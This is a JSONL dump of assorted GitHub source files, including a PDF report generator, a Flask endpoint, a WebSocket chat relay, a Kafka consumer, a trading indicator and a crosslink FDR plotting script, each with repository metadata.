#shutil.rmtree(os.path.join(testpath,'landsat-8'))\n","repo_name":"sat-utils/sat-search","sub_path":"test/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"62"} +{"seq_id":"36844826788","text":"# -*- coding:UTF-8\r\n\r\nimport csv\r\nimport sys\r\nfrom fpdf import *\r\nimport xml.etree.ElementTree as xml\r\nfrom table_config import *\r\n\r\n\r\nclass CsvRider:\r\n\r\n def __init__(self, version, previous, csv_input):\r\n self.version = version\r\n self.previous = previous\r\n self.csv_input = csv_input\r\n\r\n def __del__(self):\r\n print('Instancja zniszczona')\r\n\r\n def rider(self):\r\n with open(self.csv_input, mode='r', encoding='utf-8') as csv_file:\r\n csv_reader = csv.reader(csv_file, delimiter=';')\r\n line_count = 0\r\n pdf = FPDF()\r\n pdf.add_font('DejaVu', '',\r\n '/usr/share/fonts/truetype/dejavu/DejaVuSans.ttf', uni=True)\r\n pdf.add_page(orientation='L')\r\n # robie standardowa tabelke naglowkowa\r\n pdf.set_font(\"DejaVu\", size=8)\r\n pdf.cell(40, 10, txt=\"XXX\", border=1, align='C')\r\n pdf.cell(100, 10, txt=\"IF CIS-COS\", border=1, align='C')\r\n pdf.cell(40, 10, txt=\"Korekta: 0\", border=1, align='C')\r\n pdf.cell(40, 10, txt=\"Strona: x\", border=1, align='C')\r\n pdf.ln(20)\r\n\r\n pdf.set_font(\"DejaVu\", size=12)\r\n if self.csv_input.startswith('OUT'):\r\n pdf.cell(200, 10, txt=\"Komunikaty wysylane przez system zaleznosciowy\", ln=1, align=\"C\")\r\n pdf_name = 'IF_out.pdf'\r\n elif self.csv_input.startswith('IN'):\r\n pdf.cell(200, 10, txt=\"Komunikaty odbierane przez system zaleznosciowy\", ln=1, align=\"C\")\r\n pdf_name = 'IF_in.pdf'\r\n else:\r\n print('Nie można znaleźć pliku csv')\r\n sys.exit()\r\n pdf.ln(10)\r\n\r\n # skladam w jedno jaka to wersja T2C\r\n pdf.set_font(\"DejaVu\", size=10)\r\n tools = \"Tools2Config_PKP_L2-{}\".format(self.version)\r\n pdf.cell(150, 8, txt=tools, ln=1, align='C')\r\n pdf.ln(10)\r\n # ustalenie wielkosci komorek, daje naglowki...\r\n pdf.set_fill_color(169, 169, 169)\r\n # szerokosc wrzucam z łapy. Traktuje to jako dwa rzedy\r\n # przy Znaczenie po prostu inne obramowanie by nie bylo widac\r\n pdf.set_font(\"DejaVu\", size=10)\r\n pdf.cell(18, 8, txt=\"Zdarzenie\", border=1, fill=True, align='C')\r\n pdf.cell(28, 8, txt=\"Polecenie\", border=1, fill=True, align='C')\r\n pdf.cell(100, 8, txt=\"Znaczenie\", border='LT', fill=True, align='C')\r\n pdf.cell(26, 8, txt=\"Argument\", border=1, fill=True, align='C')\r\n pdf.cell(44, 8, txt=\"Własności\", border=1, fill=True, ln=1, align='C')\r\n pdf.cell(18, 8, txt=\"DEC\", border=1, fill=True, align='C')\r\n pdf.cell(12, 8, txt=\"Typ\", border=1, fill=True, align='C')\r\n pdf.cell(16, 8, txt=\"Ident\", border=1, fill=True, align='C')\r\n pdf.cell(100, 8, txt=\" \", border='BL', fill=True, align='C')\r\n pdf.cell(12, 8, txt=\"Liczba\", border=1, fill=True, align='C')\r\n pdf.cell(14, 8, txt=\"Obiekt\", border=1, fill=True, align='C')\r\n pdf.cell(20, 8, txt=\"PRETEST\", border=1, fill=True, align='C')\r\n pdf.cell(12, 8, txt=\"PRIO\", border=1, fill=True, align='C')\r\n pdf.cell(12, 8, txt=\"NVS\", border=1, fill=True, ln=1, align='C')\r\n\r\n for row in csv_reader:\r\n pdf.set_font(\"DejaVu\", size=8)\r\n print(row)\r\n if line_count != 0:\r\n if float(self.version) < float(row[0]):\r\n line_count += 1\r\n if line_count == 0:\r\n line_count += 1\r\n continue\r\n m = 0\r\n lista = [n for n in range(1, 10, 1)]\r\n for elems in lista:\r\n pdf.cell(conf_out[m], 8, txt=str(elems), border=1)\r\n m += 1\r\n if m == 9: m = 0\r\n pdf.ln(8)\r\n pdf.output(pdf_name)\r\n pdf.close()\r\n csv_file.close()\r\n\r\n def compare(self, previous, current):\r\n current = self.version\r\n previous = self.previous\r\n # csv_to_compare = ['IN_CIS_COS.csv', 'OUT_CIS_COS.csv']\r\n csv_to_compare = ['OUT_CIS_COS.csv']\r\n for n in csv_to_compare:\r\n with open(n, mode='r') as csv_file:\r\n dict_reader = csv.DictReader(csv_file, delimiter=';')\r\n pdf = FPDF()\r\n pdf.add_font('Arial Unicode MS', '', '/usr/share/fonts/truetype/dejavu/DejaVuSans.ttf', uni=True)\r\n pdf.add_page()\r\n # robie standardowa tabelke naglowkowa\r\n pdf.set_font(\"Arial Unicode MS\", size=8)\r\n pdf.cell(30, 10, txt=\"XXX\", border=1, align='C')\r\n pdf.cell(80, 10, txt=\"IF CIS-COS\", border=1, align='C')\r\n pdf.cell(30, 10, txt=\"Korekta: 0\", border=1, align='C')\r\n pdf.cell(30, 10, txt=\"Strona: x\", border=1, align='C')\r\n pdf.ln(20)\r\n\r\n pdf.set_font(\"Arial\", size=10)\r\n pdf.cell(100, 10, txt=\"8. Zmiany w komunikatach w porownaniu do poprzedniej wersji.\", ln=1, align=\"R\")\r\n if n.startswith('OUT'):\r\n pdf.cell(200, 10, txt=\"Komunikaty wysylane przez system zaleznosciowy\", ln=1, align=\"C\")\r\n pdf_name = 'IF_compare_out.pdf'\r\n # tworze wiersz z headerem\r\n headers = dict_reader.fieldnames\r\n comp_header = []\r\n comp_header.append(headers[6])\r\n comp_header.append(headers[10])\r\n comp_header.append(headers[12])\r\n comp_header.append(headers[1])\r\n comp_header.append(headers[13])\r\n comp_header.append(headers[14])\r\n for i in comp_header:\r\n pdf.set_font(\"Arial Unicode MS\", size=8)\r\n pdf.cell(20, 10, txt=i, border=1)\r\n pdf.ln(10)\r\n line_count = 0\r\n for row in dict_reader:\r\n if row['validFrom']:\r\n value = row['validFrom']\r\n # dodaje tylko te, ktore doszly, nie drukuje wczesniej istniejacych\r\n # pomijam to, co doszlo w pozniejszych wersjach\r\n if float(value) < float(previous) or float(value) > float(current):\r\n pass\r\n else:\r\n pdf.set_font(\"Arial Unicode MS\", size=8)\r\n pdf.cell(20, 10, txt=row['Obiekt'], border=1)\r\n pdf.cell(20, 10, txt=row['Variable'], border=1)\r\n pdf.cell(20, 10, txt=row['Value'], border=1)\r\n pdf.cell(20, 10, txt=row['Dec'], border=1)\r\n pdf.cell(20, 10, txt=row['HEX'], border=1)\r\n pdf.cell(20, 10, txt=row['Comment'], border=1)\r\n pdf.ln(10)\r\n\r\n else:\r\n pass\r\n elif n.startswith('IN'):\r\n pdf.cell(200, 10, txt=\"Komunikaty odbierane przez system zaleznosciowy\", ln=1, align=\"C\")\r\n pdf_name = 'IF_compare_in.pdf'\r\n # tworze wiersz z headerem\r\n headers = dict_reader.fieldnames\r\n comp_header = []\r\n comp_header.append(headers[6])\r\n comp_header.append(headers[10])\r\n comp_header.append(headers[12])\r\n comp_header.append(headers[1])\r\n comp_header.append(headers[13])\r\n comp_header.append(headers[14])\r\n for i in comp_header:\r\n pdf.set_font(\"Arial Unicode MS\", size=8)\r\n pdf.cell(20, 10, txt=i, border=1)\r\n pdf.ln(10)\r\n line_count = 0\r\n for row in dict_reader:\r\n if row['validFrom']:\r\n value = row['validFrom']\r\n # dodaje tylko te, ktore doszly, nie drukuje wczesniej istniejacych\r\n # pomijam to, co doszlo w pozniejszych wersjach\r\n if float(value) < float(previous) or float(value) > float(current):\r\n pass\r\n else:\r\n pdf.set_font(\"Arial Unicode MS\", size=8)\r\n pdf.cell(20, 10, txt=row['Obiekt'], border=1)\r\n pdf.cell(20, 10, txt=row['Variable'], border=1)\r\n pdf.cell(20, 10, txt=row['Value'], border=1)\r\n pdf.cell(20, 10, txt=row['Dec'], border=1)\r\n pdf.cell(20, 10, txt=row['HEX'], border=1)\r\n pdf.cell(20, 10, txt=row['Comment'], border=1)\r\n pdf.ln(10)\r\n\r\n else:\r\n pass\r\n\r\n pdf.output(pdf_name)\r\n pdf.close()\r\n\r\n# testowy fragment kodu\r\nMDC = xml.ElementTree()\r\n\r\n\r\nroot = xml.Element(\"LogicalObjectTypes\")\r\nObjectType = xml.Element(\"LogicalObjectType\", name=\"TCSTATUS\")\r\nObjectTypeVariable = xml.Element(\"LogicalObjectTypeVariable\")\r\nroot.append(ObjectType)\r\nObjectType.append(ObjectTypeVariable)\r\nMDC._setroot(root)\r\nMDC.write('test.xml')\r\n","repo_name":"Tomaszwj68/doc_TMS_IF","sub_path":"csvrider.py","file_name":"csvrider.py","file_ext":"py","file_size_in_byte":9687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21961258466","text":"import os\nimport threading\n\n\ndef startexe(exename):\n os.chdir(\"E:\\\\NewWork\\\\BodorThinker\\\\projects\\\\hmi\\\\BodorThinker2000\\\\bin\\\\Debug\")\n os.system(exename)\n\n\ndef main():\n while True:\n name = \"BodorThinker2000.exe\"\n t1 = threading.Thread(target=startexe, args=(u'BodorThinker2000.exe',))\n t1.start()\n\n order = int(input(\"输入指令:\"))\n if order == 1:\n os.system(\"Taskkill /im \"+name)\n continue\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"AustinYANyh/Linux","sub_path":"testExe.py","file_name":"testExe.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"30786726135","text":"from flask import Flask, request, jsonify\nfrom flask_cors import CORS\nfrom old_school_retrieval import get_answer\n\napp = Flask(__name__)\nCORS(app)\n\n\n@app.route('/api/process_text', methods=['POST'])\ndef process_text():\n print(\"called server\")\n data = request.get_json()\n input_text = data.get('text', '')\n print('input_text: ', input_text)\n\n # Process the input_text here as needed\n response_text = get_answer(input_text)\n print('response_text: ', response_text)\n return jsonify({\"message\": response_text})\n\n\napp.run(debug=True)\n","repo_name":"GuralTOO/milken_chat_server","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31762494120","text":"from backend.agent.tool import Tool\n\n\nclass CustomSearchTool(Tool):\n\n # name = \"Search\"\n description = \"Useful when you need to search information on the internet\"\n\n async def call(\n self, goal: str, task: str, input_str: str\n ) -> str:\n \"\"\"Use the tool asynchronously.\"\"\"\n \n return \"\"\n\n raise NotImplementedError(\"Search does not support async\")\n","repo_name":"zeedkhan/AI-chatboz-python-nextjs","sub_path":"backend/agent/agent_tools/CustomSearchTool.py","file_name":"CustomSearchTool.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14296740998","text":"'''\n\tVAŽNO: potrebno instalirati dodatak WebSocket pomoću naredbe u cmd.exe\n\tpip install git+https://github.com/dpallot/simple-websocket-server.git\n\t\n\tReferenca: https://github.com/dpallot/simple-websocket-server\n'''\n\nfrom SimpleWebSocketServer import SimpleWebSocketServer, WebSocket\n\nPORT = 8001\n\nidentifikator = 0\nklijenti = {}\nclass Prosljeditelj(WebSocket):\n\t\"\"\"\n\t\trazred koji nasljeđuje WebSocket (WebSocket ima sve nužno implementirano) te dodatno \n\t\tdefinira što ućiniti kad primi poruku, kad se neko spoji i kad se netko odspoji\n\t\"\"\"\n\tdef handleMessage(self):\n\t\t\"\"\"\n\t\t\tprimi poruku proslijedi je svim klijentima osim onome tko je poslao\n\t\t\"\"\"\n\t\t\n\t\tprint(self, klijenti[self], self.data)\n\t\tfor klijent in klijenti.keys():\n\t\t\tif klijent != self:\n\t\t\t\tklijent.sendMessage(klijenti[self] + \" \" + self.data)\n\n\tdef handleConnected(self):\n\t\t\"\"\"\n\t\t\tkad se netko spoji, obavijesti sve klijente da se taj netko spojio te mu dodijeli\n\t\t\tidentifikator i doda u listu klijenata\n\t\t\"\"\"\n\t\t\n\t\t# omogucivanje -> promjene <- globalnih (zajednickih) varijabli\n\t\tglobal identifikator, klijenti\n\t\t\n\t\tprint(self.address, 'spojen')\n\t\tfor klijent in klijenti.keys():\n\t\t\tklijent.sendMessage(str(identifikator) + ' spojen')\n\t\t\t\n\t\tklijenti[self] = str(identifikator)\n\t\tidentifikator += 1\n\n\tdef handleClose(self):\n\t\t\"\"\"\n\t\t\tkad se netko odspoji, obavijesti sve klijente da se taj netko odspojio te ga\n\t\t\tizbaci iz liste klijenata\n\t\t\"\"\"\n\t\t\n\t\tprint(self.address, 'odspojen')\n\t\tfor klijent in klijenti.keys():\n\t\t\tklijent.sendMessage(klijenti[self] + ' odspojen')\n\t\t\t\n\t\tklijenti.pop(self, None)\n\n# pokreni obicni web socket server na definiranom portu\nserver = SimpleWebSocketServer('', PORT, Prosljeditelj)\nserver.serveforever()","repo_name":"RokiFoki/CentarIzvrsnosti","sub_path":"komunikacija.py","file_name":"komunikacija.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30462177638","text":"from kafka import KafkaConsumer\n\nif __name__ == \"__main__\":\n print(\"Running Consumer..\")\n topic_name = \"openstreetmap-minutely\"\n\n consumer = KafkaConsumer(\n topic_name,\n auto_offset_reset=\"earliest\",\n bootstrap_servers=[\"localhost:9092\"],\n api_version=(0, 10),\n consumer_timeout_ms=1000,\n )\n for published_msg in consumer:\n # This is the OpenStreetMap minutely osc text\n consume_text = published_msg.value\n # This is the sequenece number that belongs to the OpenStreetMap minutely diff\n consume_sequence = published_msg.key\n # NOTE: We can append to database or do anything with the key/value pairs from here.\n print(f\"Consumed sequence number {consume_sequence}\")\n\n print(\"Consumer ended after reading all messages successfully.\")\n\n consumer.close()\n","repo_name":"manoharuss/openstreetmap-minutely-with-kafka","sub_path":"run_consumer.py","file_name":"run_consumer.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"864661775","text":"# https://leetcode.com/problems/longest-palindromic-substring\n\n\nclass Solution:\n def longestPalindrome(self, s: str) -> str:\n result = \"\"\n if len(s) == 1: return s\n\n def check_pali(l, r):\n tmp = \"\"\n\n if l == r:\n tmp += s[l]\n l -= 1\n r += 1\n\n while l >= 0 and r < len(s) and s[l] == s[r]:\n tmp = s[l] + tmp + s[r]\n l -= 1\n r += 1\n\n return tmp\n\n for i in range(0, len(s) - 1):\n t1 = check_pali(i, i)\n t2 = check_pali(i, i + 1)\n\n if len(t1) > len(result):\n result = t1\n\n if len(t2) > len(result):\n result = t2\n\n return result\n","repo_name":"basvasilich/leet-code","sub_path":"5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9030611295","text":"import numpy as np\nimport pandas as pd\n\n\ndef DI(data: pd.DataFrame) -> tuple:\n plusdm_sum = 0\n minusdm_sum = 0\n n = len(data)\n true_range_sum = 0\n for i in range(1, n):\n delta_high = data[\"High\"][i-1] - data[\"High\"][i]\n delta_low = data[\"Low\"][i] - data[\"Low\"][i-1]\n\n if (delta_high < 0 and delta_low < 0) or delta_high == delta_low:\n plusdm = 0\n minusdm = 0\n elif (delta_high > delta_low):\n plusdm = delta_high\n minusdm = 0\n elif (delta_high < delta_low):\n plusdm = 0\n minusdm = delta_low\n plusdm_sum = plusdm_sum - plusdm_sum/n + plusdm\n minusdm_sum = minusdm_sum - minusdm_sum/n + minusdm\n # Modified for non intra day data\n true_high = max(data[\"High\"][i], data[\"Close\"][i-1])\n true_low = min(data[\"High\"][i], data[\"Close\"][i-1])\n\n true_range = true_high - true_low\n true_range_sum = true_range_sum - true_range_sum/n + true_range\n\n plusdi = 100*plusdm_sum/true_range_sum\n minusdi = 100*minusdm_sum/true_range_sum\n\n return plusdi, minusdi\n\n\ndef DX(data: pd.DataFrame) -> np.ndarray:\n plusdi, minusdi = DI(data)\n dx = (plusdi - minusdi)/(plusdi+minusdi)\n return dx\n\n\ndef ADX(data: pd.DataFrame) -> np.ndarray:\n dx = DX(data)\n adx = 0\n n = len(data)\n for i in range(n):\n adx = (adx*(n-1) + dx)/n\n return np.array(adx)\n\n\nif __name__ == \"__main__\":\n data = pd.read_csv(\"../data/data.csv\")\n print(ADX(data))\n","repo_name":"ibpme/PMTugas3CNNStock","sub_path":"technical_indicators/adx.py","file_name":"adx.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39009394310","text":"#!/usr/bin/env python\nimport argparse\n\ndef txt2fasta(text_fp, outfile):\n\n for contig, line in enumerate(text_fp,1):\n if line[0].isdigit():\n continue\n print(\">Contig_{}\\n{}\".format(contig, line.strip()),file = outfile)\n \n \nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\"text to fasta\")\n parser.add_argument('text',help =\"textfile\", type=argparse.FileType('r'))\n parser.add_argument('-o','--outfile', help =\"output filename\",default = \"uniq.fasta\", type=argparse.FileType('w'))\n args = parser.parse_args()\n txt2fasta(args.text, args.outfile)\n","repo_name":"PiscatorX/pool-ezRAD","sub_path":"bin/txt2fasta.py","file_name":"txt2fasta.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19484567309","text":"import json\nimport os\nfrom pymongo import MongoClient\nfrom web3 import Web3, HTTPProvider, TestRPCProvider\nimport time\n\ndef write_post(posts):\n client = MongoClient('localhost', 27017)\n db = client.test_database\n db_posts = db.posts\n for post in posts:\n print(post)\n post_id = db_posts.insert_one(post).inserted_id\n print(post_id)\n\nw3 = Web3(HTTPProvider('http://localhost:8545'))\nabi = json.loads(open(os.getcwd()+'/build/contracts/Post.json','r').read())['abi']\ncontract_instance = w3.eth.contract(abi, '0x227f64ee26cc7ee9c8ec51ad1329c4db519a3de8')\ntransfer_filter = contract_instance.on('PostCreated')\nwhile True:\n time.sleep(5)\n posts = transfer_filter.get()\n write_post(posts)\n","repo_name":"kcole16/dopedapp","sub_path":"daemon.py","file_name":"daemon.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22273110073","text":"#MS Annika\nimport csv\nimport sys\nimport xlrd\nimport os\nimport xlsxwriter\nimport numpy as np\nxlrd.xlsx.ensure_elementtree_imported(False, None)\nxlrd.xlsx.Element_has_iter = True\nimport matplotlib.pyplot as plt\n\n#print(sys.argv)\n\nsupport_file_name = sys.argv[1]\noutput_file_name = sys.argv[2]\nis_grouped = len(sys.argv) > 3 and sys.argv[3] == 'true'\n\n### BEGIN LIBRARY -------------------------------------------------------------------\n# open the sheetspreadfile and the respective sheet\n\nprint('Reading library file...')\n#print(support_file_name)\n\nworkbook_groups = xlrd.open_workbook(support_file_name, on_demand = True)\nworksheet_groups = workbook_groups.sheet_by_index(0)\n\nnumber_groups = 0\npeptides_per_group = []\n# identify the number of groups\nfor i in range(worksheet_groups.nrows):\n if worksheet_groups.cell(i, 0).value.find(\"Group\")!=-1:\n number_groups = number_groups +1\n peptides_per_group.append(i)\n\n# add the position where the first empty cell is found\npeptides_per_group.append(worksheet_groups.nrows)\n\n#subtract the positions of group headers in order to calculate the number of peptides per group\nfor i in range(number_groups):\n peptides_per_group[i] = peptides_per_group[i+1]-peptides_per_group[i]-1\n\npeptides_per_group = peptides_per_group[:-1]\n\n\n\n# in list_of_groups there will be all peptides groups with all their members stored \nlist_of_groups = []\n# will be added to the list_of_groups and contains temporary the members of one group at the time\nlist_of_peptides_per_group = []\n\n\n# all peptide sequences present in the excel document are read one by oneand the added to the list of groups\n# list of peptides per group will be permanently emptied to make space for the other groups \n# the number of list of peptides per group is static, not dynamic and should be kept constant\n\npivot_excel = 1\n\nfor i in range(1,number_groups+1):\n\tif i!=1:\n\t\tpivot_excel = pivot_excel+peptides_per_group[i-2]+1\n\tlist_of_peptides_per_group = []\n\tfor j in range(0,peptides_per_group[i-1]):\n\t\tlist_of_peptides_per_group.append(worksheet_groups.cell(pivot_excel+j, 0).value)\n\ta = list_of_peptides_per_group\n\tlist_of_groups.append(a)\n\nprint('Transferring crosslinks to script...')\n\ndef read_crosslinks():\n for line in sys.stdin:\n #for line in open('C:/Users/stanek/source/repos/imp-x-fdr/IMP_X_FDR/Resources/search-engines/annika_input.csv', 'r'):\n values = line.strip().split('\\t')\n values[2] = float(values[2]) # score\n values[5] = int(values[5]) # position 1\n values[6] = int(values[6]) # position 2\n yield values\n\nunique_crosslinks = list(read_crosslinks())\nprint('{} crosslinks transferred.'.format(len(unique_crosslinks)))\n\nlist_of_scores_xlinkx = list(set(map(lambda c: c[2], unique_crosslinks)))\nlist_of_scores_xlinkx.sort()\n\ntemp1 = []\ntemp2 = []\n\ndef fdr_diagamm(is_grouped):\n print('Plotting diagram...')\n temp1 = []\n temp2 = []\n\n workbook = xlsxwriter.Workbook(os.path.splitext(output_file_name)[0]+\"_venn_input.xlsx\")\n worksheet = workbook.add_worksheet()\n\n worksheet.write(0,0, \"Results\")\n worksheet.write(3,0, \"total number of unique XLs:\")\n worksheet.write(4,0, \"all True crosslinks: \")\n worksheet.write(5,0, \"homeotypic crosslinks:\")\n worksheet.write(6,0, \"non-homeotypic crosslinks:\")\n worksheet.write(7,0, \"false crosslinks\")\n\n worksheet.write(9,0, \"all crosslinks\")\n worksheet.write(9,1, \"true crosslinks\")\n worksheet.write(9,2, \"false crosslinks\")\n\n worksheet.write(2,3,\"number of XLs post-score cut-off 5%:\")\n worksheet.write(3,3,\"number of XLs post-score cut-off 1%:\")\n\n\n worksheet.set_column(0,0,40)\n worksheet.set_column(0,1,40)\n worksheet.set_column(0,2,40)\n worksheet.set_column(0,3,40)\n\n # open the file in the write mode\n f = open((output_file_name), 'w', newline='')\n\n #define the header\n header_csv = [\"Sequence A\", \"Sequence B\",\"Accession A\",\"Accession B\",\"Position in protein A\",\"Position in protein B\",\"Score crosslink\",\"Within same group\"]\n\n # create the csv writer\n writer = csv.writer(f)\n writer.writerow(header_csv)\n\n list_true_XL_csv = []\n list_false_XL_csv = []\n\n to_be_ploted_x = []\n to_be_ploted_y = []\n correct_no_homo_XL = []\n homo_XL = []\n false_XL = []\n\n correct_set = set()\n homo_set = set()\n\n temp11 = []\n temp22 = []\n\n for m in range(len(temp1)):\n temp1[m].sort()\n temp1[m]=str(temp1[m])\n temp11.append(str(temp1[m]))\n worksheet.write(11+m,0,str(temp1[m]))\n\n for m in range(len(temp2)):\n temp2[m].sort()\n temp2[m]=str(temp2[m])\n temp22.append(str(temp2[m]))\n worksheet.write(11+m,1,str(temp2[m]))\n\n temp3=list(set(temp11)-set(temp22)) \n for m in range(len(temp3)):\n worksheet.write(11+m,2,str(temp3[m]))\n\n for index_score in range(len(list_of_scores_xlinkx)):\n all_crosslinks = 0\n correct_crosslinks = 0\n homeotypic = 0\n \n for index_crosslink in range(len(unique_crosslinks)):\n score = unique_crosslinks[index_crosslink][2]\n seq1 = unique_crosslinks[index_crosslink][0]\n seq2 = unique_crosslinks[index_crosslink][1]\n\n if score >=list_of_scores_xlinkx[index_score]:\n all_crosslinks = all_crosslinks +1\n temp1.append(list([seq1, seq2,\n unique_crosslinks[index_crosslink][3],unique_crosslinks[index_crosslink][4],\n str(unique_crosslinks[index_crosslink][5]),str(unique_crosslinks[index_crosslink][6]),str(\"score_\" + str(unique_crosslinks[index_crosslink][2]))]))\n found = False\n index_group = 0\n\n # cycle through library groups\n while(index_group < number_groups and found == False):\n index_sequence = 0\n\n # cycle through sequences\n while(index_sequence < peptides_per_group[index_group] and found == False):\n if seq1 == list_of_groups[index_group][index_sequence] or seq1 in list_of_groups[index_group][index_sequence] :\n m = 0\n while(m0.05:\n for index_score in range(len(to_be_ploted_x)):\n if to_be_ploted_y[index_score]<=0.05 and alarm_005 == False:\n plt.scatter(to_be_ploted_x[index_score],to_be_ploted_y[index_score])\n plt.annotate((to_be_ploted_x[index_score],float(\"{0:.3f}\".format(to_be_ploted_y[index_score]))),(to_be_ploted_x[index_score],to_be_ploted_y[index_score]))\n alarm_005 = True\n worksheet.write(2,4,correct_no_homo_XL[index_score]+homo_XL[index_score]+false_XL[index_score])\n bar_graph.append(\"FDR 5%\")\n gold.append(correct_no_homo_XL[index_score])\n silver.append(homo_XL[index_score])\n bronze.append(false_XL[index_score])\n score_bar.append(to_be_ploted_x[index_score])\n if to_be_ploted_y[index_score]<=0.01:\n alarm_001 = True\n worksheet.write(3,4,correct_no_homo_XL[index_score]+homo_XL[index_score]+false_XL[index_score])\n bar_graph[1] = \"FDR 1%\"\n if to_be_ploted_y[index_score]<=0.01 and alarm_001 == False:\n plt.scatter(to_be_ploted_x[index_score],to_be_ploted_y[index_score])\n plt.annotate((to_be_ploted_x[index_score],float(\"{0:.3f}\".format(to_be_ploted_y[index_score]))),(to_be_ploted_x[index_score],to_be_ploted_y[index_score]))\n alarm_001 = True\n worksheet.write(3,4,correct_no_homo_XL[index_score]+homo_XL[index_score]+false_XL[index_score])\n bar_graph.append(\"FDR 1%\")\n gold.append(correct_no_homo_XL[index_score])\n silver.append(homo_XL[index_score])\n bronze.append(false_XL[index_score])\n score_bar.append(to_be_ploted_x[index_score])\n elif to_be_ploted_y[0]<=0.05 and to_be_ploted_y[0]>0.01:\n for index_score in range(len(to_be_ploted_x)):\n if to_be_ploted_y[index_score]<=0.01 and alarm_001 == False:\n plt.scatter(to_be_ploted_x[index_score],to_be_ploted_y[index_score])\n plt.annotate((to_be_ploted_x[index_score],float(\"{0:.3f}\".format(to_be_ploted_y[index_score]))),(to_be_ploted_x[index_score],to_be_ploted_y[index_score]))\n alarm_001 = True\n worksheet.write(3,4,correct_no_homo_XL[index_score]+homo_XL[index_score]+false_XL[index_score])\n bar_graph.append(\"FDR 1%\")\n gold.append(correct_no_homo_XL[index_score])\n silver.append(homo_XL[index_score])\n bronze.append(false_XL[index_score])\n score_bar.append(to_be_ploted_x[index_score])\n\n workbook.close() \n \n plt.savefig(os.path.splitext(output_file_name)[0]+\"_FDR-at-Score.svg\")\n plt.clf()\n\n b_bronze = list (np.add(gold, silver))\n\n plt.bar(bar_graph,gold,label=\"true\",color=\"green\",align='center')\n plt.bar(bar_graph,silver,bottom=gold, label=\"true homeotypic\",color=\"lawngreen\",align='center')\n plt.bar(bar_graph,bronze,bottom=b_bronze, label=\"false\",color=\"red\",align='center')\n\n if is_grouped:\n plt.ylabel(\"Number of crosslinks\")\n else:\n plt.ylabel(\"Number of CSMs\")\n\n plt.legend()\n plt.tick_params(\n axis='x',\n which='both',\n bottom=False,\n top=False,\n labelbottom=False)\n\n cell_table = []\n cell_table.append(gold)\n cell_table.append(silver)\n cell_table.append(bronze)\n cell_table.append(score_bar)\n plt.table(cellText=cell_table, cellLoc='center', rowLabels=[\"true\",\"true homeotypic\",\"false\",\"score cut-off\"],colLabels=bar_graph ,rowLoc='left' ,colLoc='center', loc='bottom', edges='closed')\n \n plt.savefig(os.path.splitext(output_file_name)[0]+\"_Number-XL.svg\",bbox_inches = \"tight\")\n\n plt.clf()\n plt.xlabel(\"Score\")\n #plt.ylabel(\"Number of crosslinks\")\n if is_grouped:\n plt.ylabel(\"Number of crosslinks\")\n else:\n plt.ylabel(\"Number of CSMs\")\n plt.stackplot(list_of_scores_xlinkx,correct_no_homo_XL,homo_XL,false_XL,labels=[\"true\",\"true homeotypic\",\"false\"], colors=[\"green\",\"lawngreen\",\"red\"])\n plt.legend()\n plt.savefig(os.path.splitext(output_file_name)[0]+\"_Score-vs-Number.svg\")\n\n writer.writerows(list_true_XL_csv)\n writer.writerows(list_false_XL_csv)\n f.close()\n\nfdr_diagamm(is_grouped)","repo_name":"fstanek/imp-x-fdr","sub_path":"IMP_X_FDR/Resources/search-engines/annika_master_score.py","file_name":"annika_master_score.py","file_ext":"py","file_size_in_byte":14175,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"72802611398","text":"\n# coding: utf-8\n\n# In[ ]:\n\n\n\"\"\"\nCreated on Fri Sep 2 20:47:56 2016\n\n@author: whikwon\n\"\"\"\nimport pandas as pd\nfrom io import BytesIO\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport os\nimport glob\n\n#공정 정보 입력\n\n광학계 = {'1':'크로스2', '2': '슬릿반사', '3': '미분투과', '4': '정투과', '5' : '미분투과', '6': '정반사B', '7':'정반사A', '8' : '사선경계', '9':'크로스1'}\nnames = ['날짜','AOI이름','Frame수', '카메라(PC)', '사용안함', 'INDEX', '불량유형(10진수)','X','y', 'X-Size','Y-Size', '불량이미지','Path','사용안함','Value','흑점','조명밝기']\nFrame_2_2 = {'1' : 32.9474, '2' : 0, '3': 110.019, '4': 110.019, '5' : 0, '6' : 110.019, '7' : 146.687, '9' : 22.2042}\nFrame_3_2 = {'1' : 46.9471, '2':48.7071, '3':0, 4:106.12, '4':106.12, '6':106.12, '7':106.12, '9':46.9471}\nFrame_2_1 = {'1' : 33.2985, '2': 0, '3' : 103.357, '4' :103.357, '6': 103.357, '7' : 103.357, '9' : 34.3177 }\nFrame_2_3 = {'1' : 22.3609, '2' : 0, '3' : 110.795, '4' : 73.8632, '5' : 0, '6' : 110.795, '7' : 147.726336, '8' : 110.794752, '9' : 22.3609 }\nFrame_3_1 = {'1' : 47.6117, '2' : 0, '3' : 0, '4' :0, '6' : 0, '7' : 0, '9' : 